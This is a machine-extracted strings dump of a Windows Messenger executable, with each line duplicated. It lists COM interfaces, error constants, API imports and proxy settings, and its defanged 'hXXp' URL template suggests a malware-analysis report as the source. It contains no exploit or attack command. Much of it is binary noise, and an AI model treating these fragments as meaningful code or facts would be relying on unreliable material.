Software\Microsoft\Windows Media\WMSDK\Local\ProxyResultsCache\LAN\%s
HttpQueryInfoA
HttpQueryInfoA
InternetOpenUrlA
InternetOpenUrlA
Software\Netscape\Netscape %d
Software\Netscape\Netscape %d
http_port"
http_port"
http"
http"
autoconfig_url"
autoconfig_url"
user_pref("network.proxy.
user_pref("network.proxy.
%s\%s
%s\%s
\mozregistry.dat
\mozregistry.dat
\nsreg.dat
\nsreg.dat
Software\Netscape\Netscape Navigator\Users\%s
Software\Netscape\Netscape Navigator\Users\%s
http\shell\open\command
http\shell\open\command
LastDetectUrl
LastDetectUrl
0x%x;
0x%x;
DetectAutoProxyUrl
DetectAutoProxyUrl
NSPlayer/%u.%u.%u.%u
NSPlayer/%u.%u.%u.%u
%s://%s
%s://%s
kernel32.dll
kernel32.dll
...OOOOOOOqqqqq
...OOOOOOOqqqqq
...OOOOOOOqqqqqq
...OOOOOOOqqqqqq
%%ÿFFFFFiiiiii
%%ÿFFFFFiiiiii
%%ÿFFFF
%%ÿFFFF
%%ÿFFFFFiiiii
%%ÿFFFFFiiiii
%%ÿFFF
%%ÿFFF
%%ÿFF
%%ÿFF
!"#$%&'()* ,-./0123456789:;
!"#$%&'()* ,-./0123456789:;
msmsgs.pdb
msmsgs.pdb
FTPj
FTPj
|WVSSSSSSSh
|WVSSSSSSSh
SSSSSSh
SSSSSSh
t.Ht'Ht Ht
t.Ht'Ht Ht
PSSSSh
PSSSSh
.FG;}
.FG;}
~SSh'
~SSh'
SSShb
SSShb
F
F
9^8Wu%S
9^8Wu%S
HtSHt.Ht
HtSHt.Ht
tCHt.Ht H
tCHt.Ht H
jTjSSh
jTjSSh
SSSSh
SSSSh
SSSShD
SSSShD
&SShB
&SShB
SPSSSSh
SPSSSSh
FTSShG
FTSShG
FTSShP
FTSShP
t.HuCj
t.HuCj
WSSSSh)
WSSSSh)
t.HHt -P
t.HHt -P
t%SWhP
t%SWhP
{SShD
{SShD
t SSh
t SSh
SShOUT
SShOUT
hMSG
hMSG
MSG t
MSG t
WPhURL
WPhURL
hURL
hURL
>%u#3
>%u#3
URL tV
URL tV
SSSh$
SSSh$
SSSh,
SSSh,
PSSSSSSh
PSSSSSSh
_acmdln
_acmdln
RegCloseKey
RegCloseKey
RegOpenKeyExW
RegOpenKeyExW
GetWindowsDirectoryW
GetWindowsDirectoryW
GetProcessHeap
GetProcessHeap
GetKeyState
GetKeyState
ShellExecuteW
ShellExecuteW
ShellExecuteExW
ShellExecuteExW
GdiplusShutdown
GdiplusShutdown
NetGetJoinInformation
NetGetJoinInformation
RegFlushKey
RegFlushKey
RegCreateKeyExW
RegCreateKeyExW
RegQueryInfoKeyW
RegQueryInfoKeyW
RegEnumKeyW
RegEnumKeyW
RegDeleteKeyW
RegDeleteKeyW
ReportEventW
ReportEventW
RegOpenKeyExA
RegOpenKeyExA
RegCreateKeyExA
RegCreateKeyExA
RegDeleteKeyA
RegDeleteKeyA
RegEnumKeyA
RegEnumKeyA
GetWindowsDirectoryA
GetWindowsDirectoryA
GetViewportExtEx
GetViewportExtEx
SetViewportOrgEx
SetViewportOrgEx
EnumChildWindows
EnumChildWindows
UnhookWindowsHookEx
UnhookWindowsHookEx
SetWindowsHookExW
SetWindowsHookExW
MsgWaitForMultipleObjects
MsgWaitForMultipleObjects
GetAsyncKeyState
GetAsyncKeyState
RPCRT4.dll
RPCRT4.dll
InternetOpenUrlW
InternetOpenUrlW
HttpQueryInfoW
HttpQueryInfoW
InternetCrackUrlW
InternetCrackUrlW
InternetCanonicalizeUrlW
InternetCanonicalizeUrlW
HttpSendRequestW
HttpSendRequestW
GetUrlCacheEntryInfoW
GetUrlCacheEntryInfoW
HttpOpenRequestW
HttpOpenRequestW
POST hXXp://%s%s?%s
POST hXXp://%s%s?%s
HTTP/1.1
HTTP/1.1
Host: %s
Host: %s
Content-Length: %d
Content-Length: %d
Proxy-Authorization: Basic %s
Proxy-Authorization: Basic %s
version="1.0.0.0"
version="1.0.0.0"
name="Microsoft.MessengerService.Messenger"
name="Microsoft.MessengerService.Messenger"
name="Microsoft.Windows.Common-Controls"
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
version="6.0.0.0"
publicKeyToken="6595b64144ccf1df"
publicKeyToken="6595b64144ccf1df"
$$ *&-5@;`
$$ *&-5@;`
3333333333333333
3333333333333333
333333333333333333
333333333333333333
3331""#3
3331""#3
333333333333
333333333333
1111111
1111111
Vh~MevDan=^f6Z].UT'PJ!K@
Vh~MevDan=^f6Z].UT'PJ!K@
PZ%Ud#^m(fv/m}5r
PZ%Ud#^m(fv/m}5r
333333333
333333333
80.11.2w
80.11.2w
--.Ms
--.Ms
,--.ss
,--.ss
!!000QQQSSHHCC3884'''))
!!000QQQSSHHCC3884'''))
QQSTTCmDI44'599::***
QQSTTCmDI44'599::***
TTCmDD445559::** ,]]^^\_
TTCmDD445559::** ,]]^^\_
QQTTCCmD
QQTTCCmD
45559::: ]]]^\__
45559::: ]]]^\__
\\\_MMMM.aaaaO
\\\_MMMM.aaaaO
\\\\^LMLL.....aN
\\\\^LMLL.....aN
$$555'')
$$555'')
--.aM`
--.aM`
,--..Ms
,--..Ms
.fgF)V)Ul:
.fgF)V)Ul:
$@K.XQ
$@K.XQ
Ih%uo
Ih%uo
mdMSg
mdMSg
9.SgNm
9.SgNm
xwgcd%F
xwgcd%F
99999999
99999999
2345679999
2345679999
9999999
9999999
9999999999
9999999999
99999999999
99999999999
444444444444441
444444444444441
$33334
$33334
stdole2.tlbWWW
stdole2.tlbWWW
#IMsgrObjectWd
#IMsgrObjectWd
IMsgrServiced
IMsgrServiced
%FindUser
%FindUser
8MURLTYPE
8MURLTYPE
{MURLTYPE_CHANGE_PASSWORD
{MURLTYPE_CHANGE_PASSWORD
CMURLTYPE_CHANGE_INFO
CMURLTYPE_CHANGE_INFO
JMURLTYPE_COMPOSE_EMAILWW
JMURLTYPE_COMPOSE_EMAILWW
&MURLTYPE_GO_TO_EMAIL_INBOXWW
&MURLTYPE_GO_TO_EMAIL_INBOXWW
MURLTYPE_GO_TO_EMAIL_FOLDERS
MURLTYPE_GO_TO_EMAIL_FOLDERS
MURLTYPE_MOBILE_SIGNUPWW
MURLTYPE_MOBILE_SIGNUPWW
MURLTYPE_CHANGE_MOBILE_INFOW
MURLTYPE_CHANGE_MOBILE_INFOW
MURLTYPE_CHANGE_PROFILEW
MURLTYPE_CHANGE_PROFILEW
MURLTYPE_CHATWWW
MURLTYPE_CHATWWW
MURLTYPE_POST_URL_REQUESTWWW
MURLTYPE_POST_URL_REQUESTWWW
MURLTYPE_ADDRESS_BOOKWWW
MURLTYPE_ADDRESS_BOOKWWW
zMURLTYPE_ADVANCED_SEARCH
zMURLTYPE_ADVANCED_SEARCH
MURLTYPE_SEARCH_BY_INTERESTW
MURLTYPE_SEARCH_BY_INTERESTW
UMURLTYPE_MAX_NUM_URLd
UMURLTYPE_MAX_NUM_URLd
RequestURLPostWW
RequestURLPostWW
MPFLFIELD_NICKNAMEWW
MPFLFIELD_NICKNAMEWW
8GhIMsgrUserWWW
8GhIMsgrUserWWW
wMMSGTYPE
wMMSGTYPE
yMMSGTYPE_NO_RESULTWW
yMMSGTYPE_NO_RESULTWW
MMSGTYPE_ERRORS_ONLY
MMSGTYPE_ERRORS_ONLY
0 VMMSGTYPE_ALL_RESULTS
0 VMMSGTYPE_ALL_RESULTS
bstrMsgHeaderWWW
bstrMsgHeaderWWW
u*bstrMsgTextW
u*bstrMsgTextW
bstrPassword
bstrPassword
IMsgrUsersWW
IMsgrUsersWW
MMSGPRIVACYW
MMSGPRIVACYW
0#_MMSGPRIVACY_BLOCK_LIST_EXCLUDEDW
0#_MMSGPRIVACY_BLOCK_LIST_EXCLUDEDW
1MMSGPRIVACY_ALLOW_LIST_ONLYW
1MMSGPRIVACY_ALLOW_LIST_ONLYW
%0sBMPROMPT_YES_IF_NOT_ALLOWED_OR_BLOCKEDWWWl
%0sBMPROMPT_YES_IF_NOT_ALLOWED_OR_BLOCKEDWWWl
bstrAppURLWW
bstrAppURLWW
MLOPT_HTTPS_SERVERWW4
MLOPT_HTTPS_SERVERWW4
MLOPT_SOCKS4_PORTWWW4
MLOPT_SOCKS4_PORTWWW4
MLOPT_SOCKS5_PORTWWW4
MLOPT_SOCKS5_PORTWWW4
0EfMLOPT_HTTPS_PORT4
0EfMLOPT_HTTPS_PORT4
MLOPT_SOCKS5_PASSWORDWWW4
MLOPT_SOCKS5_PASSWORDWWW4
MLOPT_HTTP_SERVERWWW4
MLOPT_HTTP_SERVERWWW4
2MLOPT_HTTP_PORTW
2MLOPT_HTTP_PORTW
bIMsgrIMSessionsW
bIMsgrIMSessionsW
8^IIMsgrIMSessionWW
8^IIMsgrIMSessionWW
pIMsgrIMSessionW
pIMsgrIMSessionW
IMsgrServicesWWW(
IMsgrServicesWWW(
c.LaunchLogonUIWWW
c.LaunchLogonUIWWW
IMessengerIMWindowsW
IMessengerIMWindowsW
pcWindowsWWWT
pcWindowsWWWT
IMWindowsWWW
IMWindowsWWW
ppIMWindowsWT
ppIMWindowsWT
QCachedPasswordWW
QCachedPasswordWW
MSGRConstantsWWW
MSGRConstantsWWW
MSGR_E_CONNECTWW
MSGR_E_CONNECTWW
MSGR_E_INVALID_SERVER_NAMEWW
MSGR_E_INVALID_SERVER_NAMEWW
MSGR_E_INVALID_PASSWORDW
MSGR_E_INVALID_PASSWORDW
MSGR_E_ALREADY_LOGGED_ON
MSGR_E_ALREADY_LOGGED_ON
5MSGR_E_SERVER_VERSIONWWW
5MSGR_E_SERVER_VERSIONWWW
MSGR_E_LOGON_TIMEOUT
MSGR_E_LOGON_TIMEOUT
XMSGR_E_LIST_FULL
XMSGR_E_LIST_FULL
vMSGR_E_AI_REJECT
vMSGR_E_AI_REJECT
0%DMSGR_E_AI_REJECT_NOT_INSTWWW
0%DMSGR_E_AI_REJECT_NOT_INSTWWW
MSGR_E_USER_NOT_FOUNDWWW
MSGR_E_USER_NOT_FOUNDWWW
MSGR_E_ALREADY_IN_LISTWW
MSGR_E_ALREADY_IN_LISTWW
MSGR_E_DISCONNECTEDW
MSGR_E_DISCONNECTEDW
0K$MSGR_E_UNEXPECTEDWWW
0K$MSGR_E_UNEXPECTEDWWW
eMSGR_E_SERVER_TOO_BUSYWW
eMSGR_E_SERVER_TOO_BUSYWW
MSGR_E_INVALID_AUTH_PACKAGES
MSGR_E_INVALID_AUTH_PACKAGES
MSGR_E_NEWER_CLIENT_AVAILABLEWWW
MSGR_E_NEWER_CLIENT_AVAILABLEWWW
MSGR_E_AI_TIMEOUTWWW
MSGR_E_AI_TIMEOUTWWW
MSGR_E_CANCELWWW
MSGR_E_CANCELWWW
MSGR_E_TOO_MANY_MATCHESW
MSGR_E_TOO_MANY_MATCHESW
#MSGR_E_SERVER_UNAVAILABLEWWW
#MSGR_E_SERVER_UNAVAILABLEWWW
MSGR_E_LOGON_UI_ACTIVEWW
MSGR_E_LOGON_UI_ACTIVEWW
MSGR_E_OPTION_UI_ACTIVEW
MSGR_E_OPTION_UI_ACTIVEW
MSGR_E_CONTACT_UI_ACTIVE
MSGR_E_CONTACT_UI_ACTIVE
$0BxMSGR_E_PRIMARY_SERVICE_NOT_LOGGED_ON
$0BxMSGR_E_PRIMARY_SERVICE_NOT_LOGGED_ON
MSGR_E_LOGGED_ON
MSGR_E_LOGGED_ON
MSGR_E_CONNECT_PROXY
MSGR_E_CONNECT_PROXY
0xsMSGR_E_PROXY_AUTHWWW
0xsMSGR_E_PROXY_AUTHWWW
QMSGR_E_PROXY_AUTH_TYPEWW
QMSGR_E_PROXY_AUTH_TYPEWW
(MSGR_E_INVALID_PROXY_NAMEWWW
(MSGR_E_INVALID_PROXY_NAMEWWW
MSGR_E_NOT_LOGGED_ON
MSGR_E_NOT_LOGGED_ON
mMSGR_E_NOT_PRIMARY_SERVICEWW
mMSGR_E_NOT_PRIMARY_SERVICEWW
MSGR_E_TOO_MANY_SESSIONS
MSGR_E_TOO_MANY_SESSIONS
MSGR_E_TOO_MANY_MESSAGES
MSGR_E_TOO_MANY_MESSAGES
MSGR_E_REMOTE_LOGINW
MSGR_E_REMOTE_LOGINW
MSGR_E_INVALID_FRIENDLY_NAME
MSGR_E_INVALID_FRIENDLY_NAME
MSGR_E_SESSION_FULLW
MSGR_E_SESSION_FULLW
MSGR_E_NOT_ALLOWING_NEW_USERSWWW
MSGR_E_NOT_ALLOWING_NEW_USERSWWW
sMSGR_E_INVALID_DOMAINWWW
sMSGR_E_INVALID_DOMAINWWW
MSGR_E_TCP_ERROR
MSGR_E_TCP_ERROR
/MSGR_E_SESSION_TIMEOUTWW
/MSGR_E_SESSION_TIMEOUTWW
MSGR_E_MULTIPOINT_SESSION_BEGIN_TIMEOUTW
MSGR_E_MULTIPOINT_SESSION_BEGIN_TIMEOUTW
MSGR_E_MULTIPOINT_SESSION_END_TIMEOUTWWW
MSGR_E_MULTIPOINT_SESSION_END_TIMEOUTWWW
MSGR_E_REVERSE_LIST_FULL
MSGR_E_REVERSE_LIST_FULL
MSGR_E_SERVER_ERRORW
MSGR_E_SERVER_ERRORW
wMSGR_E_SYSTEM_CONFIG
wMSGR_E_SYSTEM_CONFIG
MSGR_E_NO_DIRECTORYW
MSGR_E_NO_DIRECTORYW
MSGR_E_RETRY_SET
MSGR_E_RETRY_SET
CMSGR_E_CHILD_WITHOUT_CONSENT
CMSGR_E_CHILD_WITHOUT_CONSENT
MSGR_E_USER_CANCELLEDWWW
MSGR_E_USER_CANCELLEDWWW
MSGR_E_CANCEL_BEFORE_CONNECT
MSGR_E_CANCEL_BEFORE_CONNECT
mMSGR_E_VOICE_IM_TIMEOUTW
mMSGR_E_VOICE_IM_TIMEOUTW
MSGR_E_NOT_ACCEPTING_PAGESWW
MSGR_E_NOT_ACCEPTING_PAGESWW
#0/?MSGR_E_EMAIL_PASSPORT_NOT_VALIDATEDW
#0/?MSGR_E_EMAIL_PASSPORT_NOT_VALIDATEDW
MSGR_E_AUDIO_UI_ACTIVEWW
MSGR_E_AUDIO_UI_ACTIVEWW
MSGR_E_NO_HARDWAREWW
MSGR_E_NO_HARDWAREWW
>MSGR_E_PAGING_UNAVAILABLEWWW
>MSGR_E_PAGING_UNAVAILABLEWWW
MSGR_E_PHONE_INVALID_NUMBERW
MSGR_E_PHONE_INVALID_NUMBERW
MSGR_E_PHONE_NO_FUNDSWWW
MSGR_E_PHONE_NO_FUNDSWWW
MSGR_E_VOICE_NO_ANSWERWW
MSGR_E_VOICE_NO_ANSWERWW
MSGR_E_VOICE_WAVEIN_DEVICEWW
MSGR_E_VOICE_WAVEIN_DEVICEWW
MSGR_E_FT_TIMEOUTWWW
MSGR_E_FT_TIMEOUTWWW
MSGR_E_MESSAGE_TOO_LONGW
MSGR_E_MESSAGE_TOO_LONGW
MSGR_E_VOICE_FIREWALLWWW
MSGR_E_VOICE_FIREWALLWWW
MSGR_E_VOICE_NETCONN
MSGR_E_VOICE_NETCONN
MSGR_E_PHONE_CIRCUITS_BUSYWW
MSGR_E_PHONE_CIRCUITS_BUSYWW
}MSGR_E_SERVER_PROTOCOLWW
}MSGR_E_SERVER_PROTOCOLWW
MSGR_E_UNAVAILABLE_VIA_HTTPW
MSGR_E_UNAVAILABLE_VIA_HTTPW
MSGR_E_PHONE_INVALID_PIN
MSGR_E_PHONE_INVALID_PIN
MSGR_E_PHONE_PINPROCEED_TIMEOUTW
MSGR_E_PHONE_PINPROCEED_TIMEOUTW
\MSGR_E_SERVER_SHUTDOWNWW
\MSGR_E_SERVER_SHUTDOWNWW
eMSGR_E_CLIENT_DISALLOWED
eMSGR_E_CLIENT_DISALLOWED
MSGR_E_PHONE_CALL_NOT_COMPLETEWW
MSGR_E_PHONE_CALL_NOT_COMPLETEWW
4MSGR_E_GROUPS_NOT_ENABLEDWWW
4MSGR_E_GROUPS_NOT_ENABLEDWWW
08XMSGR_E_GROUP_ALREADY_EXISTSW
08XMSGR_E_GROUP_ALREADY_EXISTSW
MSGR_E_TOO_MANY_GROUPSWW
MSGR_E_TOO_MANY_GROUPSWW
MSGR_E_GROUP_DOES_NOT_EXISTW
MSGR_E_GROUP_DOES_NOT_EXISTW
MSGR_E_USER_NOT_GROUP_MEMBER
MSGR_E_USER_NOT_GROUP_MEMBER
05=MSGR_E_GROUP_NAME_TOO_LONGWW
05=MSGR_E_GROUP_NAME_TOO_LONGWW
0NLMSGR_E_GROUP_NOT_EMPTYWW
0NLMSGR_E_GROUP_NOT_EMPTYWW
VMSGR_E_BAD_GROUP_NAMEWWW
VMSGR_E_BAD_GROUP_NAMEWWW
@MSGR_E_PHONESERVICE_UNAVAILABLEW
@MSGR_E_PHONESERVICE_UNAVAILABLEW
0{lMSGR_E_CANNOT_RENAME
0{lMSGR_E_CANNOT_RENAME
MSGR_E_CANNOT_DELETE
MSGR_E_CANNOT_DELETE
GMSGR_E_INVALID_SERVICEWW
GMSGR_E_INVALID_SERVICEWW
aMSGR_E_POLICY_RESTRICTED
aMSGR_E_POLICY_RESTRICTED
MSGR_E_BUSYW
MSGR_E_BUSYW
MSGR_E_DNS_SRV_FAILW
MSGR_E_DNS_SRV_FAILW
MSGR_E_DNS_A_RES_FAILWWW
MSGR_E_DNS_A_RES_FAILWWW
MSGR_E_NO_SERVER_ADDRESS_SPECIFIEDWW
MSGR_E_NO_SERVER_ADDRESS_SPECIFIEDWW
MSGR_E_TLS_FAILW
MSGR_E_TLS_FAILW
MSGR_E_INCOMPATIBLE_ENCRYPTIONWW
MSGR_E_INCOMPATIBLE_ENCRYPTIONWW
nMSGR_E_SSL_TUNNEL_FAILED
nMSGR_E_SSL_TUNNEL_FAILED
MSGR_E_SIP_TIMEOUTWW
MSGR_E_SIP_TIMEOUTWW
MSGR_E_INCOMPATIBLE_IMWW
MSGR_E_INCOMPATIBLE_IMWW
MSGR_E_MIM_ADD_TO_CONTACTS_FAILW
MSGR_E_MIM_ADD_TO_CONTACTS_FAILW
MSGR_E_INVALID_ADDRESS_FORMATWWW
MSGR_E_INVALID_ADDRESS_FORMATWWW
MSGR_E_INVALID_CERTIFICATEWW
MSGR_E_INVALID_CERTIFICATEWW
dMSGR_E_AUTH_TIME_SKEWWWW
dMSGR_E_AUTH_TIME_SKEWWWW
MSGR_E_CHANGED_CREDENTIALSWW
MSGR_E_CHANGED_CREDENTIALSWW
MSGR_E_SIP_LOGIN_FORBIDDENWW
MSGR_E_SIP_LOGIN_FORBIDDENWW
MSGR_E_SIP_HIGH_SECURITY_SET_TLS
MSGR_E_SIP_HIGH_SECURITY_SET_TLS
MSGR_E_CALLEE_INSUFFICIENT_SECURITY_LEVELWWW
MSGR_E_CALLEE_INSUFFICIENT_SECURITY_LEVELWWW
)0K3MSGR_E_CALLER_PEER2PEER_CALLS_NOT_ALLOWEDWWW
)0K3MSGR_E_CALLER_PEER2PEER_CALLS_NOT_ALLOWEDWWW
MSGR_E_SIP_UDP_UNSUPPORTEDWW
MSGR_E_SIP_UDP_UNSUPPORTEDWW
MSGR_E_SIP_SEARCH_FORBIDDENW
MSGR_E_SIP_SEARCH_FORBIDDENW
MSGR_E_SESSION_RESTRICTEDWWW
MSGR_E_SESSION_RESTRICTEDWWW
MSGR_E_MANAGED_USER_INVALID_CVRW
MSGR_E_MANAGED_USER_INVALID_CVRW
MSGR_E_RESTRICTED_USERWW
MSGR_E_RESTRICTED_USERWW
MSGR_E_PROXY_AUTH_REQUIREDWW
MSGR_E_PROXY_AUTH_REQUIREDWW
MSGR_E_PROXY_REALM_MISMATCHW
MSGR_E_PROXY_REALM_MISMATCHW
0E0MSGR_E_PROXY_PASSWORD_INCORRECTW
0E0MSGR_E_PROXY_PASSWORD_INCORRECTW
1MSGR_E_RESTRICTED_USER_LOGON_RESTRICEDWW
1MSGR_E_RESTRICTED_USER_LOGON_RESTRICEDWW
MSGR_E_IE_OFFLINEWWW
MSGR_E_IE_OFFLINEWWW
MSGR_E_IE_CANT_CONNECTWW
MSGR_E_IE_CANT_CONNECTWW
MSGR_E_ACCOUNT_ERROR_REDIRECTWWW
MSGR_E_ACCOUNT_ERROR_REDIRECTWWW
MSGR_S_ALREADY_IN_THE_MODEWW
MSGR_S_ALREADY_IN_THE_MODEWW
MSGR_S_TRANSFER_SEND_BEGUNWW
MSGR_S_TRANSFER_SEND_BEGUNWW
04jMSGR_S_TRANSFER_SEND_FINISHEDWWW
04jMSGR_S_TRANSFER_SEND_FINISHEDWWW
bMSGR_S_TRANSFER_RECEIVE_BEGUNWWW
bMSGR_S_TRANSFER_RECEIVE_BEGUNWWW
VMSGR_S_TRANSFER_RECEIVE_FINISHED
VMSGR_S_TRANSFER_RECEIVE_FINISHED
MSGR_S_GROUP_ALREADY_EXISTSW
MSGR_S_GROUP_ALREADY_EXISTSW
MSGR_E_FAILW
MSGR_E_FAILW
MSGR_S_OKWWW
MSGR_S_OKWWW
0~9MUSERPROP_SUPPORTS_CHUNKINGW
0~9MUSERPROP_SUPPORTS_CHUNKINGW
MLOPT_MAX_PORT_NUMBERWWW
MLOPT_MAX_PORT_NUMBERWWW
xMPROXYTYPE_HTTPS
xMPROXYTYPE_HTTPS
0'#MPROXYTYPE_HTTPW
0'#MPROXYTYPE_HTTPW
03dMCONNECTIONTYPE_HTTP_PROXYWW\
03dMCONNECTIONTYPE_HTTP_PROXYWW\
MFT_SAVE_PASSWORDWWW
MFT_SAVE_PASSWORDWWW
MFT_DONT_SAVE_PASSWORDWW
MFT_DONT_SAVE_PASSWORDWW
IMsgrObject2
IMsgrObject2
DMsgrObjectEventsWWW|
DMsgrObjectEventsWWW|
bstrDownloadUrlW
bstrDownloadUrlW
2,bstrFallbackUrlW
2,bstrFallbackUrlW
f}OnRequestURLResultWW
f}OnRequestURLResultWW
bstrURLW|
bstrURLW|
OnUserJoinWW
OnUserJoinWW
2pIMsgrUserWW|
2pIMsgrUserWW|
OnRequestURLPostResultWW
OnRequestURLPostResultWW
bstrURLPostW|
bstrURLPostW|
IMsgrUser2WW
IMsgrUser2WW
IMsgrSPW
IMsgrSPW
IMsgrSP2p
IMsgrSP2p
IMsgrWebScriptManagerWWW
IMsgrWebScriptManagerWWW
PassportClientWW
PassportClientWW
MsgrHost8
MsgrHost8
8LBIMsgrPassportClientW8
8LBIMsgrPassportClientW8
JbstrSwitchURLWWW
JbstrSwitchURLWWW
_bstrStayURLW
_bstrStayURLW
8(KIMsgrHostWWW
8(KIMsgrHostWWW
8|}MsgrObjectWWd
8|}MsgrObjectWWd
Messenger Web Automation managerWW
Messenger Web Automation managerWW
Pasport is about to switch usersWW(
Pasport is about to switch usersWW(
return the interface for Messenger host.WW
return the interface for Messenger host.WW
Passport Client InterfaceWV
Passport Client InterfaceWV
Launch a new web browser and Passport authentication for the following URL and site ID
Launch a new web browser and Passport authentication for the following URL and site ID
IMsgrSessionManagerW
IMsgrSessionManagerW
IMsgrSessiond
IMsgrSessiond
__MIDL___MIDL_itf_msgrpriv_0000_0001,
__MIDL___MIDL_itf_msgrpriv_0000_0001,
ApplicationURLWW
ApplicationURLWW
pbstrURLd
pbstrURLd
__MIDL___MIDL_itf_msgrpriv_0000_0002
__MIDL___MIDL_itf_msgrpriv_0000_0002
__MIDL___MIDL_itf_msgrpriv_0000_0003
__MIDL___MIDL_itf_msgrpriv_0000_0003
__MIDL___MIDL_itf_msgrpriv_0000_0004
__MIDL___MIDL_itf_msgrpriv_0000_0004
MSGR_E_API_NOTINITIALIZEDWWW
MSGR_E_API_NOTINITIALIZEDWWW
IMSGR_E_API_LOCKEDWWW
IMSGR_E_API_LOCKEDWWW
@MSGR_E_API_UNLOCK_FAILED
@MSGR_E_API_UNLOCK_FAILED
0&RMSGR_E_API_ALREADY_UNLOCKEDW
0&RMSGR_E_API_ALREADY_UNLOCKEDW
MSGR_E_API_PENDING_UNLOCKWWW
MSGR_E_API_PENDING_UNLOCKWWW
[MSGR_E_API_DISABLEDW
[MSGR_E_API_DISABLEDW
__MIDL___MIDL_itf_msgrpriv_0000_0005L
__MIDL___MIDL_itf_msgrpriv_0000_0005L
_IMsgrLockWWW
_IMsgrLockWWW
DMsgrSessionManagerEventsWWW
DMsgrSessionManagerEventsWWW
DMsgrSessionEventsWW@
DMsgrSessionEventsWW@
MsgrSessionManagerWW
MsgrSessionManagerWW
MsgrSessionManagerNative4
MsgrSessionManagerNative4
Create a new Session object.WW5
Create a new Session object.WW5
Remove an app from the list.WW#
Remove an app from the list.WW#
Get the collection of applications.WWW
Get the collection of applications.WWW
Retrieve session ID.WW'
Retrieve session ID.WW'
Retrieve the app-specific context data.WWW
Retrieve the app-specific context data.WWW
Retrieve the application URL.W
Retrieve the application URL.W
Retrieve the session flags.WWW
Retrieve the session flags.WWW
Retrieve the other user.WW(
Retrieve the other user.WW(
Set the local IP address of the session.WW-
Set the local IP address of the session.WW-
Send app-specific context data.WWW
Send app-specific context data.WWW
Messenger Lock and Key InterfaceWW
Messenger Lock and Key InterfaceWW
Returns the lock and key statusWWW
Returns the lock and key statusWWW
Request lock and key challenge.WWW
Request lock and key challenge.WWW
Send lock and key response.WWW
Send lock and key response.WWW
A new session invitation has been received.WWW&
A new session invitation has been received.WWW&
Challenge from server received.WWW(
Challenge from server received.WWW(
Result from server lock and key service.WW
Result from server lock and key service.WW
Enable/disable lock and key.WW
Enable/disable lock and key.WW
Messenger is shutting down.WWW&
Messenger is shutting down.WWW&
The invitee has accepted the invitation.WW(
The invitee has accepted the invitation.WW(
The invitee has declined the invitation.WW
The invitee has declined the invitation.WW
The session has been cancelled.WWW
The session has been cancelled.WWW
The session is approved for launch.WWW2
The session is approved for launch.WWW2
The last operation failed when sending.WWW
The last operation failed when sending.WWW
"8SN__MIDL___MIDL_itf_msgrua_0000_0007WW
"8SN__MIDL___MIDL_itf_msgrua_0000_0007WW
"8RN__MIDL___MIDL_itf_msgrua_0000_0006WW
"8RN__MIDL___MIDL_itf_msgrua_0000_0006WW
"8NN__MIDL___MIDL_itf_msgrua_0000_0002WWX
"8NN__MIDL___MIDL_itf_msgrua_0000_0002WWX
^.MyStatus
^.MyStatus
"8TN__MIDL___MIDL_itf_msgrua_0000_0008WW
"8TN__MIDL___MIDL_itf_msgrua_0000_0008WW
"8PN__MIDL___MIDL_itf_msgrua_0000_0004WW
"8PN__MIDL___MIDL_itf_msgrua_0000_0004WW
.ppdispServicesWWL
.ppdispServicesWWL
"8qN__MIDL___MIDL_itf_msgrua_0000_0010WW
"8qN__MIDL___MIDL_itf_msgrua_0000_0010WW
"8ON__MIDL___MIDL_itf_msgrua_0000_0003WW@
"8ON__MIDL___MIDL_itf_msgrua_0000_0003WW@
"8QN__MIDL___MIDL_itf_msgrua_0000_0005WW
"8QN__MIDL___MIDL_itf_msgrua_0000_0005WW
"8UN__MIDL___MIDL_itf_msgrua_0000_0009WW
"8UN__MIDL___MIDL_itf_msgrua_0000_0009WW
MSGRConstantsWWW
MSGRConstantsWWW
"8MN__MIDL___MIDL_itf_msgrua_0000_0001WW
"8MN__MIDL___MIDL_itf_msgrua_0000_0001WW
MSGR_E_CONNECTWW
MSGR_E_CONNECTWW
MSGR_E_INVALID_SERVER_NAMEWW
MSGR_E_INVALID_SERVER_NAMEWW
MSGR_E_INVALID_PASSWORDW
MSGR_E_INVALID_PASSWORDW
MSGR_E_ALREADY_LOGGED_ON
MSGR_E_ALREADY_LOGGED_ON
5MSGR_E_SERVER_VERSIONWWW
5MSGR_E_SERVER_VERSIONWWW
MSGR_E_LOGON_TIMEOUT
MSGR_E_LOGON_TIMEOUT
XMSGR_E_LIST_FULL
XMSGR_E_LIST_FULL
vMSGR_E_AI_REJECT
vMSGR_E_AI_REJECT
0%DMSGR_E_AI_REJECT_NOT_INSTWWW
0%DMSGR_E_AI_REJECT_NOT_INSTWWW
MSGR_E_USER_NOT_FOUNDWWW
MSGR_E_USER_NOT_FOUNDWWW
MSGR_E_ALREADY_IN_LISTWW
MSGR_E_ALREADY_IN_LISTWW
MSGR_E_DISCONNECTEDW
MSGR_E_DISCONNECTEDW
0K$MSGR_E_UNEXPECTEDWWW
0K$MSGR_E_UNEXPECTEDWWW
eMSGR_E_SERVER_TOO_BUSYWW
eMSGR_E_SERVER_TOO_BUSYWW
MSGR_E_INVALID_AUTH_PACKAGES
MSGR_E_INVALID_AUTH_PACKAGES
MSGR_E_NEWER_CLIENT_AVAILABLEWWW
MSGR_E_NEWER_CLIENT_AVAILABLEWWW
MSGR_E_AI_TIMEOUTWWW
MSGR_E_AI_TIMEOUTWWW
MSGR_E_CANCELWWW
MSGR_E_CANCELWWW
MSGR_E_TOO_MANY_MATCHESW
MSGR_E_TOO_MANY_MATCHESW
#MSGR_E_SERVER_UNAVAILABLEWWW
#MSGR_E_SERVER_UNAVAILABLEWWW
MSGR_E_LOGON_UI_ACTIVEWW
MSGR_E_LOGON_UI_ACTIVEWW
MSGR_E_OPTION_UI_ACTIVEW
MSGR_E_OPTION_UI_ACTIVEW
MSGR_E_CONTACT_UI_ACTIVE
MSGR_E_CONTACT_UI_ACTIVE
$0BxMSGR_E_PRIMARY_SERVICE_NOT_LOGGED_ON
$0BxMSGR_E_PRIMARY_SERVICE_NOT_LOGGED_ON
MSGR_E_LOGGED_ON
MSGR_E_LOGGED_ON
MSGR_E_CONNECT_PROXY
MSGR_E_CONNECT_PROXY
0xsMSGR_E_PROXY_AUTHWWW
0xsMSGR_E_PROXY_AUTHWWW
QMSGR_E_PROXY_AUTH_TYPEWW
QMSGR_E_PROXY_AUTH_TYPEWW
(MSGR_E_INVALID_PROXY_NAMEWWW
(MSGR_E_INVALID_PROXY_NAMEWWW
MSGR_E_NOT_LOGGED_ON
MSGR_E_NOT_LOGGED_ON
